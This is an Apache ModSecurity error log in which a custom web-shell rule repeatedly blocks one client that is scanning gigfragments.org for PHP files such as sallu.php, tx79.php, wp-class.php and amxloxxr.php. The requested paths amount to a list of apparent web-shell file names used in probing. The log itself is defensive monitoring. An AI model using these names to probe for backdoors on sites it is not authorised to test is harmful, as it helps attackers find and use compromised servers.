[Wed May 20 04:34:23.152386 2026] [:error] [pid 36145:tid 36148] [client 20.104.227.76:15194] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "agzJT6tS18KtvF2VagssXwAAAQA"]
[Wed May 20 04:34:23.676330 2026] [:error] [pid 59246:tid 59309] [client 20.104.227.76:15128] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "agzJT2XuF32eb0pGiHwPoQAAAII"]
[Wed May 20 04:34:24.281202 2026] [:error] [pid 36145:tid 36156] [client 20.104.227.76:14439] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "agzJUKtS18KtvF2VagssYgAAAQg"]
[Wed May 20 04:34:24.879715 2026] [:error] [pid 36145:tid 36165] [client 20.104.227.76:4848] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "agzJUKtS18KtvF2VagssYwAAARE"]
[Wed May 20 04:34:25.506312 2026] [:error] [pid 36145:tid 36172] [client 20.104.227.76:14386] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "agzJUatS18KtvF2VagssZQAAARg"]
[Wed May 20 04:34:26.184760 2026] [:error] [pid 36145:tid 36154] [client 20.104.227.76:4811] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "agzJUqtS18KtvF2VagssZgAAAQY"]
[Wed May 20 04:34:26.900690 2026] [:error] [pid 59245:tid 59304] [client 20.104.227.76:14355] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "agzJUqOutR70QIZRVkTMwgAAAFg"]
[Wed May 20 04:34:27.522311 2026] [:error] [pid 59245:tid 59292] [client 20.104.227.76:14368] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "agzJU6OutR70QIZRVkTMwwAAAEw"]
[Wed May 20 04:34:27.952759 2026] [:error] [pid 59245:tid 59302] [client 20.104.227.76:14389] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "agzJU6OutR70QIZRVkTMxAAAAFY"]
[Wed May 20 04:34:28.796094 2026] [:error] [pid 36145:tid 36169] [client 20.104.227.76:14460] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "agzJVKtS18KtvF2VagssaQAAARU"]
[Wed May 20 04:34:29.293421 2026] [:error] [pid 59245:tid 59296] [client 20.104.227.76:14410] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "agzJVaOutR70QIZRVkTMxQAAAFA"]
[Wed May 20 04:34:29.961727 2026] [:error] [pid 59349:tid 59355] [client 20.104.227.76:15184] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "agzJVTvvxTUy-ppKSZV9TQAAAMQ"]
[Wed May 20 04:34:30.403682 2026] [:error] [pid 36145:tid 36160] [client 20.104.227.76:14433] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ayk.php"] [unique_id "agzJVqtS18KtvF2VagssagAAAQw"]
[Wed May 20 04:34:31.075485 2026] [:error] [pid 59245:tid 59281] [client 20.104.227.76:4785] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "agzJV6OutR70QIZRVkTMxgAAAEE"]
[Wed May 20 04:34:31.725827 2026] [:error] [pid 59244:tid 59275] [client 20.104.227.76:14443] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "agzJV7xU0SdQQE7pLs2sZQAAABY"]
[Wed May 20 04:34:32.220817 2026] [:error] [pid 36145:tid 36166] [client 20.104.227.76:15193] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "agzJWKtS18KtvF2VagssawAAARI"]
[Wed May 20 04:34:32.860376 2026] [:error] [pid 36145:tid 36156] [client 20.104.227.76:15201] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "agzJWKtS18KtvF2VagssbQAAAQg"]
[Wed May 20 04:34:33.544357 2026] [:error] [pid 36145:tid 36171] [client 20.104.227.76:14378] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "agzJWatS18KtvF2VagssbgAAARc"]
[Wed May 20 04:34:34.104090 2026] [:error] [pid 36145:tid 36151] [client 20.104.227.76:4812] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "agzJWqtS18KtvF2VagssbwAAAQM"]
[Wed May 20 04:34:34.878592 2026] [:error] [pid 36145:tid 36159] [client 20.104.227.76:4844] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "agzJWqtS18KtvF2VagsscwAAAQs"]
[Wed May 20 04:34:35.339705 2026] [:error] [pid 36145:tid 36154] [client 20.104.227.76:14409] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "agzJW6tS18KtvF2VagssdQAAAQY"]
[Wed May 20 04:34:35.870076 2026] [:error] [pid 36145:tid 36157] [client 20.104.227.76:15170] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "agzJW6tS18KtvF2VagssdwAAAQk"]
[Wed May 20 04:34:36.345076 2026] [:error] [pid 36145:tid 36162] [client 20.104.227.76:14445] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "agzJXKtS18KtvF2VagsseAAAAQ4"]
[Wed May 20 04:34:36.790904 2026] [:error] [pid 36145:tid 36153] [client 20.104.227.76:14388] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "agzJXKtS18KtvF2VagssegAAAQU"]
[Wed May 20 04:34:37.245253 2026] [:error] [pid 36145:tid 36149] [client 20.104.227.76:14352] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "agzJXatS18KtvF2VagssfQAAAQE"]
[Wed May 20 04:34:37.688382 2026] [:error] [pid 59244:tid 59253] [client 20.104.227.76:4753] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "agzJXbxU0SdQQE7pLs2sZgAAAAA"]
[Wed May 20 04:34:38.124485 2026] [:error] [pid 36145:tid 36167] [client 20.104.227.76:15204] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "agzJXqtS18KtvF2VagssfwAAARM"]
[Wed May 20 04:34:38.649496 2026] [:error] [pid 59244:tid 59273] [client 20.104.227.76:15197] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "agzJXrxU0SdQQE7pLs2sZwAAABQ"]
[Wed May 20 04:34:39.139792 2026] [:error] [pid 59244:tid 59266] [client 20.104.227.76:14365] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "agzJX7xU0SdQQE7pLs2saAAAAA0"]
[Wed May 20 04:34:39.577854 2026] [:error] [pid 59244:tid 59260] [client 20.104.227.76:14382] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options.php"] [unique_id "agzJX7xU0SdQQE7pLs2saQAAAAc"]
[Wed May 20 04:34:40.144471 2026] [:error] [pid 59349:tid 59353] [client 20.104.227.76:4807] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options.php"] [unique_id "agzJYDvvxTUy-ppKSZV9UAAAAMI"]
[Wed May 20 04:34:40.601352 2026] [:error] [pid 36145:tid 36171] [client 20.104.227.76:4845] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options.php"] [unique_id "agzJYKtS18KtvF2VagssgQAAARc"]
[Wed May 20 04:34:41.108184 2026] [:error] [pid 59349:tid 59361] [client 20.104.227.76:14351] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options.php"] [unique_id "agzJYTvvxTUy-ppKSZV9UgAAAMo"]
[Wed May 20 04:34:41.841251 2026] [:error] [pid 59246:tid 59317] [client 20.104.227.76:4840] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "agzJYWXuF32eb0pGiHwPpwAAAIo"]
[Wed May 20 04:34:42.277487 2026] [:error] [pid 59244:tid 59255] [client 20.104.227.76:14357] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "agzJYrxU0SdQQE7pLs2sawAAAAI"]
[Wed May 20 04:34:42.749821 2026] [:error] [pid 59244:tid 59276] [client 20.104.227.76:14369] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "agzJYrxU0SdQQE7pLs2sbAAAABc"]
[Wed May 20 04:34:43.403503 2026] [:error] [pid 59246:tid 59318] [client 20.104.227.76:14447] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f5.php"] [unique_id "agzJY2XuF32eb0pGiHwPqQAAAIs"]
[Wed May 20 04:34:44.271632 2026] [:error] [pid 59245:tid 59290] [client 20.104.227.76:4747] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "agzJZKOutR70QIZRVkTMyAAAAEo"]
[Wed May 20 04:34:44.757825 2026] [:error] [pid 59246:tid 59321] [client 20.104.227.76:14363] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "agzJZGXuF32eb0pGiHwPrgAAAI4"]
[Wed May 20 04:34:45.290842 2026] [:error] [pid 36145:tid 36148] [client 20.104.227.76:14394] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "agzJZatS18KtvF2VagsshQAAAQA"]
[Wed May 20 04:34:45.795903 2026] [:error] [pid 36145:tid 36158] [client 20.104.227.76:15171] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "agzJZatS18KtvF2VagsshwAAAQo"]
[Wed May 20 04:34:46.260536 2026] [:error] [pid 59246:tid 59329] [client 20.104.227.76:4744] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son1.php"] [unique_id "agzJZmXuF32eb0pGiHwPrwAAAJY"]
[Wed May 20 04:34:46.777112 2026] [:error] [pid 59245:tid 59289] [client 20.104.227.76:15160] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son1.php"] [unique_id "agzJZqOutR70QIZRVkTMyQAAAEk"]
[Wed May 20 04:34:47.536956 2026] [:error] [pid 59244:tid 59262] [client 20.104.227.76:14423] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son1.php"] [unique_id "agzJZ7xU0SdQQE7pLs2sbQAAAAk"]
[Wed May 20 04:34:48.050228 2026] [:error] [pid 59246:tid 59316] [client 20.104.227.76:14390] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son1.php"] [unique_id "agzJaGXuF32eb0pGiHwPsQAAAIk"]
[Wed May 20 04:34:48.874211 2026] [:error] [pid 59245:tid 59291] [client 20.104.227.76:4736] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "agzJaKOutR70QIZRVkTMywAAAEs"]
[Wed May 20 04:34:49.324698 2026] [:error] [pid 59245:tid 59293] [client 20.104.227.76:14387] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "agzJaaOutR70QIZRVkTMzQAAAE0"]
[Wed May 20 04:34:49.757044 2026] [:error] [pid 59245:tid 59300] [client 20.104.227.76:4809] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "agzJaaOutR70QIZRVkTMzwAAAFQ"]
[Wed May 20 04:34:50.204621 2026] [:error] [pid 59244:tid 59271] [client 20.104.227.76:14416] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "agzJarxU0SdQQE7pLs2sbgAAABI"]
[Wed May 20 04:34:50.802195 2026] [:error] [pid 59349:tid 59351] [client 20.104.227.76:14456] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amxloxxr.php"] [unique_id "agzJajvvxTUy-ppKSZV9WQAAAMA"]
[Wed May 20 04:34:51.345722 2026] [:error] [pid 59349:tid 59355] [client 20.104.227.76:14340] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amxloxxr.php"] [unique_id "agzJazvvxTUy-ppKSZV9WwAAAMQ"]
[Wed May 20 04:34:52.064343 2026] [:error] [pid 59245:tid 59296] [client 20.104.227.76:14448] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amxloxxr.php"] [unique_id "agzJbKOutR70QIZRVkTM1gAAAFA"]
[Wed May 20 04:34:52.588369 2026] [:error] [pid 59245:tid 59287] [client 20.104.227.76:14435] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amxloxxr.php"] [unique_id "agzJbKOutR70QIZRVkTM2gAAAEc"]
[Wed May 20 04:34:53.163310 2026] [:error] [pid 59245:tid 59289] [client 20.104.227.76:4853] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "agzJbaOutR70QIZRVkTM2wAAAEk"]
[Wed May 20 04:34:53.805431 2026] [:error] [pid 59244:tid 59269] [client 20.104.227.76:14420] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "agzJbbxU0SdQQE7pLs2sbwAAABA"]
[Wed May 20 04:34:54.293880 2026] [:error] [pid 59245:tid 59286] [client 20.104.227.76:4828] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "agzJbqOutR70QIZRVkTM3QAAAEY"]
[Wed May 20 04:34:54.719125 2026] [:error] [pid 59245:tid 59298] [client 20.104.227.76:4814] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "agzJbqOutR70QIZRVkTM3wAAAFI"]
[Wed May 20 04:34:55.199661 2026] [:error] [pid 59245:tid 59282] [client 20.104.227.76:15223] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "agzJb6OutR70QIZRVkTM4QAAAEI"]
